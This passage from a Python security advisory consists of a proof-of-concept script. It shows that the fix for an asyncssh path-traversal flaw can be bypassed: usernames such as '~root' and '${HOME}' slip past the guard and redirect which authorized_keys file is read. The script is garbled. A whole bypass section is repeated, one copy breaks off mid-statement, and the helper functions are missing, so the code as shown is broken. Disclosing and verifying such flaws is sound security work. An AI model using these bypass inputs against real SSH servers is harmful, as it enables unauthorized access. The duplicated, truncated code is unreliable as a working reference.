Advisory

PYSEC-2026-3809

Details, part 2 of 2. The advisory

Details

# ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
blocked = guard_blocks("../../../../tmp/evil", cfg)
print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
results.append(("original CVE traversal is blocked (fix present)", blocked))

# also: a literal slash is blocked (the guard's whole purpose)
slash_blocked = guard_blocks("/etc", cfg)
print(f" literal-slash user '/etc' blocked: {slash_blocked}")
results.append(("literal-slash username is blocked", slash_blocked))

print()

# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
blocked_a = guard_blocks("~root", cfg_a)
val_a = expand_authkeys("~root", cfg_a)
resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does
print(f"[A] tilde bypass user '~root':")
print(f" guard blocks it? {blocked_a} (False == bypass)")
print(f" expanded config value : {val_a}")
print(f" after expanduser() : {resolved_a} <-- read as authorized_keys")
results.append(("A: ~user NOT blocked by guard", not blocked_a))
results.append(("A: expanduser() redirects to another home tree",
resolved_a.startswith("/root/") or "~" not in resolved_a))

print()

# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))

# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",

print()

# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))

# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
if ok else "one or more checks did not hold")
return 0 if ok else 1

if __name__ == "__main__":
sys.exit(main())

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